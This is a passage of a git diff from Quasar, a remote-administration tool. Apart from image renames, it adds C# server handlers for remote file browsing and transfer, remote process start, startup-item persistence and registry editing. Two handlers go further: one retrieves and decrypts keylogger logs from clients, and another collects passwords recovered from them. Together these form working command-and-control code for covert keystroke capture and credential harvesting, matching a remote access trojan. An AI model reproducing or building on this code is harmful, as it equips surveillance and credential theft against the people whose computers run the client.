a/Server/images/server_link.png b/Quasar.Server/Images/server_link.png similarity index 100% rename from Server/images/server_link.png rename to Quasar.Server/Images/server_link.png diff --git a/Server/Resources/shutdown.png b/Quasar.Server/Images/shutdown.png similarity index 100% rename from Server/Resources/shutdown.png rename to Quasar.Server/Images/shutdown.png diff --git a/Server/Resources/standby.png b/Quasar.Server/Images/standby.png similarity index 100% rename from Server/Resources/standby.png rename to Quasar.Server/Images/standby.png diff --git a/Server/images/terminal.png b/Quasar.Server/Images/terminal.png similarity index 100% rename from Server/images/terminal.png rename to Quasar.Server/Images/terminal.png diff --git a/Server/images/text.png b/Quasar.Server/Images/text.png similarity index 100% rename from Server/images/text.png rename to Quasar.Server/Images/text.png diff --git a/Server/Resources/textfield_rename.png b/Quasar.Server/Images/textfield_rename.png similarity index 100% rename from Server/Resources/textfield_rename.png rename to Quasar.Server/Images/textfield_rename.png diff --git a/Quasar.Server/Images/transmit_blue.png b/Quasar.Server/Images/transmit_blue.png new file mode 100644 index 000000000..7b1142fc7 Binary files /dev/null and b/Quasar.Server/Images/transmit_blue.png differ diff --git a/Server/images/uac-shield.png b/Quasar.Server/Images/uac_shield.png similarity index 100% rename from Server/images/uac-shield.png rename to Quasar.Server/Images/uac_shield.png diff --git a/Quasar.Server/Images/user.png b/Quasar.Server/Images/user.png new file mode 100644 index 000000000..79f35ccbd Binary files /dev/null and b/Quasar.Server/Images/user.png differ diff --git a/Server/images/website.png b/Quasar.Server/Images/website.png similarity index 100% rename from Server/images/website.png rename to Quasar.Server/Images/website.png diff --git a/Server/images/word.png b/Quasar.Server/Images/word.png similarity index 100% rename from Server/images/word.png rename to Quasar.Server/Images/word.png diff --git a/Server/images/world_go.png b/Quasar.Server/Images/world_go.png similarity index 100% rename from Server/images/world_go.png rename to Quasar.Server/Images/world_go.png diff --git a/Server/images/world_link.png b/Quasar.Server/Images/world_link.png similarity index 100% rename from Server/images/world_link.png rename to Quasar.Server/Images/world_link.png diff --git a/Quasar.Server/Messages/ClientStatusHandler.cs b/Quasar.Server/Messages/ClientStatusHandler.cs new file mode 100644 index 000000000..58d1b5d13 --- /dev/null +++ b/Quasar.Server/Messages/ClientStatusHandler.cs @@ -0,0 +1,112 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote client status. + /// + public class ClientStatusHandler : MessageProcessorBase + { + /// + /// Represents the method that will handle status updates. + /// + /// The message handler which raised the event. + /// The client which updated the status. + /// The new status. + public delegate void StatusUpdatedEventHandler(object sender, Client client, string statusMessage); + + /// + /// Represents the method that will handle user status updates. + /// + /// The message handler which raised the event. + /// The client which updated the user status. + /// The new user status. + public delegate void UserStatusUpdatedEventHandler(object sender, Client client, UserStatus userStatusMessage); + + /// + /// Raised when a client updated its status. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event StatusUpdatedEventHandler StatusUpdated; + + /// + /// Raised when a client updated its user status. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event UserStatusUpdatedEventHandler UserStatusUpdated; + + /// + /// Reports an updated status. + /// + /// The client which updated the status. + /// The new status. + private void OnStatusUpdated(Client client, string statusMessage) + { + SynchronizationContext.Post(c => + { + var handler = StatusUpdated; + handler?.Invoke(this, (Client) c, statusMessage); + }, client); + } + + /// + /// Reports an updated user status. + /// + /// The client which updated the user status. + /// The new user status. + private void OnUserStatusUpdated(Client client, UserStatus userStatusMessage) + { + SynchronizationContext.Post(c => + { + var handler = UserStatusUpdated; + handler?.Invoke(this, (Client) c, userStatusMessage); + }, client); + } + + /// + /// Initializes a new instance of the class. + /// + public ClientStatusHandler() : base(true) + { + } + + /// + public override bool CanExecute(IMessage message) => message is SetStatus || message is SetUserStatus; + + /// + public override bool CanExecuteFrom(ISender sender) => true; + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case SetStatus status: + Execute((Client) sender, status); + break; + case SetUserStatus userStatus: + Execute((Client) sender, userStatus); + break; + } + } + + private void Execute(Client client, SetStatus message) + { + OnStatusUpdated(client, message.Message); + } + + private void Execute(Client client, SetUserStatus message) + { + OnUserStatusUpdated(client, message.Message); + } + } +} diff --git a/Quasar.Server/Messages/FileManagerHandler.cs b/Quasar.Server/Messages/FileManagerHandler.cs new file mode 100644 index 000000000..417f1f516 --- /dev/null +++ b/Quasar.Server/Messages/FileManagerHandler.cs @@ -0,0 +1,577 @@ +using Quasar.Common.Enums; +using Quasar.Common.IO; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Enums; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Threading; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with remote files and directories. + /// + public class FileManagerHandler : MessageProcessorBase, IDisposable + { + /// + /// Represents the method that will handle drive changes. + /// + /// The message processor which raised the event. + /// All currently available drives. + public delegate void DrivesChangedEventHandler(object sender, Drive[] drives); + + /// + /// Represents the method that will handle directory changes. + /// + /// The message processor which raised the event. + /// The remote path of the directory. + /// The directory content. + public delegate void DirectoryChangedEventHandler(object sender, string remotePath, FileSystemEntry[] items); + + /// + /// Represents the method that will handle file transfer updates. + /// + /// The message processor which raised the event. + /// The updated file transfer. + public delegate void FileTransferUpdatedEventHandler(object sender, FileTransfer transfer); + + /// + /// Raised when drives changed. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event DrivesChangedEventHandler DrivesChanged; + + /// + /// Raised when a directory changed. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event DirectoryChangedEventHandler DirectoryChanged; + + /// + /// Raised when a file transfer updated. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event FileTransferUpdatedEventHandler FileTransferUpdated; + + /// + /// Reports changed remote drives. + /// + /// The current remote drives. + private void OnDrivesChanged(Drive[] drives) + { + SynchronizationContext.Post(d => + { + var handler = DrivesChanged; + handler?.Invoke(this, (Drive[])d); + }, drives); + } + + /// + /// Reports a directory change. + /// + /// The remote path of the directory. + /// The directory content. + private void OnDirectoryChanged(string remotePath, FileSystemEntry[] items) + { + SynchronizationContext.Post(i => + { + var handler = DirectoryChanged; + handler?.Invoke(this, remotePath, (FileSystemEntry[])i); + }, items); + } + + /// + /// Reports updated file transfers. + /// + /// The updated file transfer. + private void OnFileTransferUpdated(FileTransfer transfer) + { + SynchronizationContext.Post(t => + { + var handler = FileTransferUpdated; + handler?.Invoke(this, (FileTransfer)t); + }, transfer.Clone()); + } + + /// + /// Keeps track of all active file transfers. Finished or canceled transfers get removed. + /// + private readonly List _activeFileTransfers = new List(); + + /// + /// Used in lock statements to synchronize access between UI thread and thread pool. + /// + private readonly object _syncLock = new object(); + + /// + /// The client which is associated with this file manager handler. + /// + private readonly Client _client; + + /// + /// Used to only allow two simultaneous file uploads. + /// + private readonly Semaphore _limitThreads = new Semaphore(2, 2); + + /// + /// Path to the base download directory of the client. + /// + private readonly string _baseDownloadPath; + + private readonly TaskManagerHandler _taskManagerHandler; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + /// Optional sub directory name. + public FileManagerHandler(Client client, string subDirectory = "") : base(true) + { + _client = client; + _baseDownloadPath = Path.Combine(client.Value.DownloadDirectory, subDirectory); + _taskManagerHandler = new TaskManagerHandler(client); + _taskManagerHandler.ProcessActionPerformed += ProcessActionPerformed; + MessageHandler.Register(_taskManagerHandler); + } + + /// + public override bool CanExecute(IMessage message) => message is FileTransferChunk || + message is FileTransferCancel || + message is FileTransferComplete || + message is GetDrivesResponse || + message is GetDirectoryResponse || + message is SetStatusFileManager; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case FileTransferChunk file: + Execute(sender, file); + break; + case FileTransferCancel cancel: + Execute(sender, cancel); + break; + case FileTransferComplete complete: + Execute(sender, complete); + break; + case GetDrivesResponse drive: + Execute(sender, drive); + break; + case GetDirectoryResponse directory: + Execute(sender, directory); + break; + case SetStatusFileManager status: + Execute(sender, status); + break; + } + } + + /// + /// Begins downloading a file from the client. + /// + /// The remote path of the file to download. + /// The local file name. + /// Overwrite the local file with the newly downloaded. + public void BeginDownloadFile(string remotePath, string localFileName = "", bool overwrite = false) + { + if (string.IsNullOrEmpty(remotePath)) + return; + + int id = GetUniqueFileTransferId(); + + if (!Directory.Exists(_baseDownloadPath)) + Directory.CreateDirectory(_baseDownloadPath); + + string fileName = string.IsNullOrEmpty(localFileName) ? Path.GetFileName(remotePath) : localFileName; + string localPath = Path.Combine(_baseDownloadPath, fileName); + + int i = 1; + while (!overwrite && File.Exists(localPath)) + { + // rename file if it exists already + var newFileName = string.Format("{0}({1}){2}", Path.GetFileNameWithoutExtension(localPath), i, Path.GetExtension(localPath)); + localPath = Path.Combine(_baseDownloadPath, newFileName); + i++; + } + + var transfer = new FileTransfer + { + Id = id, + Type = TransferType.Download, + LocalPath = localPath, + RemotePath = remotePath, + Status = "Pending...", + //Size = fileSize, TODO: Add file size here + TransferredSize = 0 + }; + + try + { + transfer.FileSplit = new FileSplit(transfer.LocalPath, FileAccess.Write); + } + catch (Exception) + { + transfer.Status = "Error writing file"; + OnFileTransferUpdated(transfer); + return; + } + + lock (_syncLock) + { + _activeFileTransfers.Add(transfer); + } + + OnFileTransferUpdated(transfer); + + _client.Send(new FileTransferRequest {RemotePath = remotePath, Id = id}); + } + + /// + /// Begins uploading a file to the client. + /// + /// The local path of the file to upload. + /// Save the uploaded file to this remote path. If empty, generate a temporary file name. + public void BeginUploadFile(string localPath, string remotePath = "") + { + new Thread(() => + { + int id = GetUniqueFileTransferId(); + + FileTransfer transfer = new FileTransfer + { + Id = id, + Type = TransferType.Upload, + LocalPath = localPath, + RemotePath = remotePath, + Status = "Pending...", + TransferredSize = 0 + }; + + try + { + transfer.FileSplit = new FileSplit(localPath, FileAccess.Read); + } + catch (Exception) + { + transfer.Status = "Error reading file"; + OnFileTransferUpdated(transfer); + return; + } + + transfer.Size = transfer.FileSplit.FileSize; + + lock (_syncLock) + { + _activeFileTransfers.Add(transfer); + } + + transfer.Size = transfer.FileSplit.FileSize; + OnFileTransferUpdated(transfer); + + _limitThreads.WaitOne(); + try + { + foreach (var chunk in transfer.FileSplit) + { + transfer.TransferredSize += chunk.Data.Length; + decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal)((double)transfer.TransferredSize / (double)transfer.Size * 100.0), 2); + transfer.Status = $"Uploading...({progress}%)"; + OnFileTransferUpdated(transfer); + + bool transferCanceled; + lock (_syncLock) + { + transferCanceled = _activeFileTransfers.Count(f => f.Id == transfer.Id) == 0; + } + + if (transferCanceled) + { + transfer.Status = "Canceled"; + OnFileTransferUpdated(transfer); + _limitThreads.Release(); + return; + } + + // TODO: blocking sending might not be required, needs further testing + _client.SendBlocking(new FileTransferChunk + { + Id = id, + Chunk = chunk, + FilePath = remotePath, + FileSize = transfer.Size + }); + } + } + catch (Exception) + { + lock (_syncLock) + { + // if transfer is already cancelled, just return + if (_activeFileTransfers.Count(f => f.Id == transfer.Id) == 0) + { + _limitThreads.Release(); + return; + } + } + transfer.Status = "Error reading file"; + OnFileTransferUpdated(transfer); + CancelFileTransfer(transfer.Id); + _limitThreads.Release(); + return; + } + + _limitThreads.Release(); + }).Start(); + } + + /// + /// Cancels a file transfer. + /// + /// The id of the file transfer to cancel. + public void CancelFileTransfer(int transferId) + { + _client.Send(new FileTransferCancel {Id = transferId}); + } + + /// + /// Renames a remote file or directory. + /// + /// The remote file or directory path to rename. + /// The new name of the remote file or directory path. + /// The type of the file (file or directory). + public void RenameFile(string remotePath, string newPath, FileType type) + { + _client.Send(new DoPathRename + { + Path = remotePath, + NewPath = newPath, + PathType = type + }); + } + + /// + /// Deletes a remote file or directory. + /// + /// The remote file or directory path. + /// The type of the file (file or directory). + public void DeleteFile(string remotePath, FileType type) + { + _client.Send(new DoPathDelete {Path = remotePath, PathType = type}); + } + + /// + /// Starts a new process remotely. + /// + /// The remote path used for starting the new process. + public void StartProcess(string remotePath) + { + _taskManagerHandler.StartProcess(remotePath); + } + + /// + /// Adds an item to the startup of the client. + /// + /// The startup item to add. + public void AddToStartup(StartupItem item) + { + _client.Send(new DoStartupItemAdd {StartupItem = item}); + } + + /// + /// Gets the directory contents for the remote path. + /// + /// The remote path of the directory. + public void GetDirectoryContents(string remotePath) + { + _client.Send(new GetDirectory {RemotePath = remotePath}); + } + + /// + /// Refreshes the remote drives. + /// + public void RefreshDrives() + { + _client.Send(new GetDrives()); + } + + private void Execute(ISender client, FileTransferChunk message) + { + FileTransfer transfer; + lock (_syncLock) + { + transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id); + } + + if (transfer == null) + return; + + transfer.Size = message.FileSize; + transfer.TransferredSize += message.Chunk.Data.Length; + + try + { + transfer.FileSplit.WriteChunk(message.Chunk); + } + catch (Exception) + { + transfer.Status = "Error writing file"; + OnFileTransferUpdated(transfer); + CancelFileTransfer(transfer.Id); + return; + } + + decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2); + transfer.Status = $"Downloading...({progress}%)"; + + OnFileTransferUpdated(transfer); + } + + private void Execute(ISender client, FileTransferCancel message) + { + FileTransfer transfer; + lock (_syncLock) + { + transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id); + } + + if (transfer != null) + { + transfer.Status = message.Reason; + OnFileTransferUpdated(transfer); + RemoveFileTransfer(transfer.Id); + // don't keep un-finished files + if (transfer.Type == TransferType.Download) + File.Delete(transfer.LocalPath); + } + } + + private void Execute(ISender client, FileTransferComplete message) + { + FileTransfer transfer; + lock (_syncLock) + { + transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id); + } + + if (transfer != null) + { + transfer.RemotePath = message.FilePath; // required for temporary file names generated on the client + transfer.Status = "Completed"; + RemoveFileTransfer(transfer.Id); + OnFileTransferUpdated(transfer); + } + } + + private void Execute(ISender client, GetDrivesResponse message) + { + if (message.Drives?.Length == 0) + return; + + OnDrivesChanged(message.Drives); + } + + private void Execute(ISender client, GetDirectoryResponse message) + { + if (message.Items == null) + { + message.Items = new FileSystemEntry[0]; + } + OnDirectoryChanged(message.RemotePath, message.Items); + } + + private void Execute(ISender client, SetStatusFileManager message) + { + OnReport(message.Message); + } + + private void ProcessActionPerformed(object sender, ProcessAction action, bool result) + { + if (action != ProcessAction.Start) return; + OnReport(result ? "Process started successfully" : "Process failed to start"); + } + + /// + /// Removes a file transfer given the transfer id. + /// + /// The file transfer id. + private void RemoveFileTransfer(int transferId) + { + lock (_syncLock) + { + var transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == transferId); + transfer?.FileSplit?.Dispose(); + _activeFileTransfers.RemoveAll(s => s.Id == transferId); + } + } + + /// + /// Generates a unique file transfer id. + /// + /// A unique file transfer id. + private int GetUniqueFileTransferId() + { + int id; + lock (_syncLock) + { + do + { + id = FileTransfer.GetRandomTransferId(); + // generate new id until we have a unique one + } while (_activeFileTransfers.Any(f => f.Id == id)); + } + + return id; + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + lock (_syncLock) + { + foreach (var transfer in _activeFileTransfers) + { + _client.Send(new FileTransferCancel {Id = transfer.Id}); + transfer.FileSplit?.Dispose(); + if (transfer.Type == TransferType.Download) + File.Delete(transfer.LocalPath); + } + + _activeFileTransfers.Clear(); + } + + MessageHandler.Unregister(_taskManagerHandler); + _taskManagerHandler.ProcessActionPerformed -= ProcessActionPerformed; + } + } + } +} diff --git a/Quasar.Server/Messages/KeyloggerHandler.cs b/Quasar.Server/Messages/KeyloggerHandler.cs new file mode 100644 index 000000000..41a567191 --- /dev/null +++ b/Quasar.Server/Messages/KeyloggerHandler.cs @@ -0,0 +1,165 @@ +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using System; +using System.IO; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote keylogger. + /// + public class KeyloggerHandler : MessageProcessorBase, IDisposable + { + /// + /// The client which is associated with this keylogger handler. + /// + private readonly Client _client; + + /// + /// The file manager handler used to retrieve keylogger logs from the client. + /// + private readonly FileManagerHandler _fileManagerHandler; + + /// + /// The remote path of the keylogger logs directory. + /// + private string _remoteKeyloggerDirectory; + + /// + /// The amount of all running log transfers. + /// + private int _allTransfers; + + /// + /// The amount of all completed log transfers. + /// + private int _completedTransfers; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public KeyloggerHandler(Client client) : base(true) + { + _client = client; + _fileManagerHandler = new FileManagerHandler(client, "Logs\\"); + _fileManagerHandler.DirectoryChanged += DirectoryChanged; + _fileManagerHandler.FileTransferUpdated += FileTransferUpdated; + _fileManagerHandler.ProgressChanged += StatusUpdated; + MessageHandler.Register(_fileManagerHandler); + } + + /// + public override bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectoryResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetKeyloggerLogsDirectoryResponse logsDirectory: + Execute(sender, logsDirectory); + break; + } + } + + /// + /// Retrieves the keylogger logs and begins downloading them. + /// + public void RetrieveLogs() + { + _client.Send(new GetKeyloggerLogsDirectory()); + } + + private void Execute(ISender client, GetKeyloggerLogsDirectoryResponse message) + { + _remoteKeyloggerDirectory = message.LogsDirectory; + client.Send(new GetDirectory {RemotePath = _remoteKeyloggerDirectory}); + } + + private string GetDownloadProgress(int allTransfers, int completedTransfers) + { + decimal progress = Math.Round((decimal)((double)completedTransfers / (double)allTransfers * 100.0), 2); + return $"Downloading...({progress}%)"; + } + + private void StatusUpdated(object sender, string value) + { + // called when directory does not exist or access is denied + OnReport($"No logs found ({value})"); + } + + private void DirectoryChanged(object sender, string remotePath, FileSystemEntry[] items) + { + if (items.Length == 0) + { + OnReport("No logs found"); + return; + } + + _allTransfers = items.Length; + _completedTransfers = 0; + OnReport(GetDownloadProgress(_allTransfers, _completedTransfers)); + + foreach (var item in items) + { + // don't escape from download directory + if (FileHelper.HasIllegalCharacters(item.Name)) + { + // disconnect malicious client + _client.Disconnect(); + return; + } + + _fileManagerHandler.BeginDownloadFile(Path.Combine(_remoteKeyloggerDirectory, item.Name), item.Name + ".html", true); + } + } + + private void FileTransferUpdated(object sender, FileTransfer transfer) + { + if (transfer.Status == "Completed") + { + try + { + _completedTransfers++; + File.WriteAllText(transfer.LocalPath, FileHelper.ReadLogFile(transfer.LocalPath, _client.Value.AesInstance)); + OnReport(_allTransfers == _completedTransfers + ? "Successfully retrieved all logs" + : GetDownloadProgress(_allTransfers, _completedTransfers)); + } + catch (Exception) + { + OnReport("Failed to decrypt and write logs"); + } + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + MessageHandler.Unregister(_fileManagerHandler); + _fileManagerHandler.ProgressChanged -= StatusUpdated; + _fileManagerHandler.FileTransferUpdated -= FileTransferUpdated; + _fileManagerHandler.DirectoryChanged -= DirectoryChanged; + _fileManagerHandler.Dispose(); + } + } + } +} diff --git a/Quasar.Server/Messages/PasswordRecoveryHandler.cs b/Quasar.Server/Messages/PasswordRecoveryHandler.cs new file mode 100644 index 000000000..770bb7db0 --- /dev/null +++ b/Quasar.Server/Messages/PasswordRecoveryHandler.cs @@ -0,0 +1,96 @@ +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote password recovery. + /// + public class PasswordRecoveryHandler : MessageProcessorBase + { + /// + /// The clients which is associated with this password recovery handler. + /// + private readonly Client[] _clients; + + /// + /// Represents the method that will handle recovered accounts. + /// + /// The message processor which raised the event. + /// A unique client identifier. + /// The recovered accounts + public delegate void AccountsRecoveredEventHandler(object sender, string clientIdentifier, List accounts); + + /// + /// Raised when accounts got recovered. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event AccountsRecoveredEventHandler AccountsRecovered; + + /// + /// Reports recovered accounts from a client. + /// + /// The recovered accounts. + /// A unique client identifier. + private void OnAccountsRecovered(List accounts, string clientIdentifier) + { + SynchronizationContext.Post(d => + { + var handler = AccountsRecovered; + handler?.Invoke(this, clientIdentifier, (List)d); + }, accounts); + } + + /// + /// Initializes a new instance of the class using the given clients. + /// + /// The associated clients. + public PasswordRecoveryHandler(Client[] clients) : base(true) + { + _clients = clients; + } + + /// + public override bool CanExecute(IMessage message) => message is GetPasswordsResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _clients.Any(c => c.Equals(sender)); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetPasswordsResponse pass: + Execute(sender, pass); + break; + } + } + + /// + /// Starts the account recovery with the associated clients. + /// + public void BeginAccountRecovery() + { + var req = new GetPasswords(); + foreach (var client in _clients.Where(client => client != null)) + client.Send(req); + } + + private void Execute(ISender client, GetPasswordsResponse message) + { + Client c = (Client) client; + + string userAtPc = $"{c.Value.Username}@{c.Value.PcName}"; + + OnAccountsRecovered(message.RecoveredAccounts, userAtPc); + } + } +} diff --git a/Quasar.Server/Messages/RegistryHandler.cs b/Quasar.Server/Messages/RegistryHandler.cs new file mode 100644 index 000000000..157457c1c --- /dev/null +++ b/Quasar.Server/Messages/RegistryHandler.cs @@ -0,0 +1,413 @@ +using Microsoft.Win32; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote registry. + /// + public class RegistryHandler : MessageProcessorBase + { + /// + /// The client which is associated with this registry handler. + /// + private readonly Client _client; + + public delegate void KeysReceivedEventHandler(object sender, string rootKey, RegSeekerMatch[] matches); + public delegate void KeyCreatedEventHandler(object sender, string parentPath, RegSeekerMatch match); + public delegate void KeyDeletedEventHandler(object sender, string parentPath, string subKey); + public delegate void KeyRenamedEventHandler(object sender, string parentPath, string oldSubKey, string newSubKey); + public delegate void ValueCreatedEventHandler(object sender, string keyPath, RegValueData value); + public delegate void ValueDeletedEventHandler(object sender, string keyPath, string valueName); + public delegate void ValueRenamedEventHandler(object sender, string keyPath, string oldValueName, string newValueName); + public delegate void ValueChangedEventHandler(object sender, string keyPath, RegValueData value); + + public event KeysReceivedEventHandler KeysReceived; + public event KeyCreatedEventHandler KeyCreated; + public event KeyDeletedEventHandler KeyDeleted; + public event KeyRenamedEventHandler KeyRenamed; + public event ValueCreatedEventHandler ValueCreated; + public event ValueDeletedEventHandler ValueDeleted; + public event ValueRenamedEventHandler ValueRenamed; + public event ValueChangedEventHandler ValueChanged; + + /// + /// Reports initially received registry keys. + /// + /// The root registry key name. + /// The child registry keys. + private void OnKeysReceived(string rootKey, RegSeekerMatch[] matches) + { + SynchronizationContext.Post(t => + { + var handler = KeysReceived; + handler?.Invoke(this, rootKey, (RegSeekerMatch[]) t); + }, matches); + } + + /// + /// Reports created registry keys. + /// + /// The registry key parent path. + /// The created registry key. + private void OnKeyCreated(string parentPath, RegSeekerMatch match) + { + SynchronizationContext.Post(t => + { + var handler = KeyCreated; + handler?.Invoke(this, parentPath, (RegSeekerMatch) t); + }, match); + } + + /// + /// Reports deleted registry keys. + /// + /// The registry key parent path. + /// The registry sub key name. + private void OnKeyDeleted(string parentPath, string subKey) + { + SynchronizationContext.Post(t => + { + var handler = KeyDeleted; + handler?.Invoke(this, parentPath, (string) t); + }, subKey); + } + + /// + /// Reports renamed registry keys. + /// + /// The registry key parent path. + /// The old registry sub key name. + /// The new registry sub key name. + private void OnKeyRenamed(string parentPath, string oldSubKey, string newSubKey) + { + SynchronizationContext.Post(t => + { + var handler = KeyRenamed; + handler?.Invoke(this, parentPath, oldSubKey, (string) t); + }, newSubKey); + } + + /// + /// Reports created registry values. + /// + /// The registry key path. + /// The created value. + private void OnValueCreated(string keyPath, RegValueData value) + { + SynchronizationContext.Post(t => + { + var handler = ValueCreated; + handler?.Invoke(this, keyPath, (RegValueData)t); + }, value); + } + + /// + /// Reports deleted registry values. + /// + /// The registry key path. + /// The value name. + private void OnValueDeleted(string keyPath, string valueName) + { + SynchronizationContext.Post(t => + { + var handler = ValueDeleted; + handler?.Invoke(this, keyPath, (string) t); + }, valueName); + } + + /// + /// Reports renamed registry values. + /// + /// The registry key path. + /// The old value name. + /// The new value name. + private void OnValueRenamed(string keyPath, string oldValueName, string newValueName) + { + SynchronizationContext.Post(t => + { + var handler = ValueRenamed; + handler?.Invoke(this, keyPath, oldValueName, (string) t); + }, newValueName); + } + + /// + /// Reports changed registry values. + /// + /// The registry key path. + /// The new value. + private void OnValueChanged(string keyPath, RegValueData value) + { + SynchronizationContext.Post(t => + { + var handler = ValueChanged; + handler?.Invoke(this, keyPath, (RegValueData) t); + }, value); + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RegistryHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetRegistryKeysResponse || + message is GetCreateRegistryKeyResponse || + message is GetDeleteRegistryKeyResponse || + message is GetRenameRegistryKeyResponse || + message is GetCreateRegistryValueResponse || + message is GetDeleteRegistryValueResponse || + message is GetRenameRegistryValueResponse || + message is GetChangeRegistryValueResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetRegistryKeysResponse keysResp: + Execute(sender, keysResp); + break; + case GetCreateRegistryKeyResponse createKeysResp: + Execute(sender, createKeysResp); + break; + case GetDeleteRegistryKeyResponse deleteKeysResp: + Execute(sender, deleteKeysResp); + break; + case GetRenameRegistryKeyResponse renameKeysResp: + Execute(sender, renameKeysResp); + break; + case GetCreateRegistryValueResponse createValueResp: + Execute(sender, createValueResp); + break; + case GetDeleteRegistryValueResponse deleteValueResp: + Execute(sender, deleteValueResp); + break; + case GetRenameRegistryValueResponse renameValueResp: + Execute(sender, renameValueResp); + break; + case GetChangeRegistryValueResponse changeValueResp: + Execute(sender, changeValueResp); + break; + } + } + + /// + /// Loads the registry keys of a given root key. + /// + /// The root key name. + public void LoadRegistryKey(string rootKeyName) + { + _client.Send(new DoLoadRegistryKey + { + RootKeyName = rootKeyName + }); + } + + /// + /// Creates a registry key at the given parent path. + /// + /// The parent path. + public void CreateRegistryKey(string parentPath) + { + _client.Send(new DoCreateRegistryKey + { + ParentPath = parentPath + }); + } + + /// + /// Deletes the given registry key. + /// + /// The parent path of the registry key to delete. + /// The registry key name to delete. + public void DeleteRegistryKey(string parentPath, string keyName) + { + _client.Send(new DoDeleteRegistryKey + { + ParentPath = parentPath, + KeyName = keyName + }); + } + + /// + /// Renames the given registry key. + /// + /// The parent path of the registry key to rename. + /// The old name of the registry key. + /// The new name of the registry key. + public void RenameRegistryKey(string parentPath, string oldKeyName, string newKeyName) + { + _client.Send(new DoRenameRegistryKey + { + ParentPath = parentPath, + OldKeyName = oldKeyName, + NewKeyName = newKeyName + }); + } + + /// + /// Creates a registry key value. + /// + /// The registry key path. + /// The kind of registry key value. + public void CreateRegistryValue(string keyPath, RegistryValueKind kind) + { + _client.Send(new DoCreateRegistryValue + { + KeyPath = keyPath, + Kind = kind + }); + } + + /// + /// Deletes the registry key value. + /// + /// The registry key path. + /// The registry key value name to delete. + public void DeleteRegistryValue(string keyPath, string valueName) + { + _client.Send(new DoDeleteRegistryValue + { + KeyPath = keyPath, + ValueName = valueName + }); + } + + /// + /// Renames the registry key value. + /// + /// The registry key path. + /// The old registry key value name. + /// The new registry key value name. + public void RenameRegistryValue(string keyPath, string oldValueName, string newValueName) + { + _client.Send(new DoRenameRegistryValue + { + KeyPath = keyPath, + OldValueName = oldValueName, + NewValueName = newValueName + }); + } + + /// + /// Changes the registry key value. + /// + /// The registry key path. + /// The updated registry key value. + public void ChangeRegistryValue(string keyPath, RegValueData value) + { + _client.Send(new DoChangeRegistryValue + { + KeyPath = keyPath, + Value = value + }); + } + + private void Execute(ISender client, GetRegistryKeysResponse message) + { + if (!message.IsError) + { + OnKeysReceived(message.RootKey, message.Matches); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetCreateRegistryKeyResponse message) + { + if (!message.IsError) + { + OnKeyCreated(message.ParentPath, message.Match); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetDeleteRegistryKeyResponse message) + { + if (!message.IsError) + { + OnKeyDeleted(message.ParentPath, message.KeyName); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetRenameRegistryKeyResponse message) + { + if (!message.IsError) + { + OnKeyRenamed(message.ParentPath, message.OldKeyName, message.NewKeyName); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetCreateRegistryValueResponse message) + { + if (!message.IsError) + { + OnValueCreated(message.KeyPath, message.Value); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, 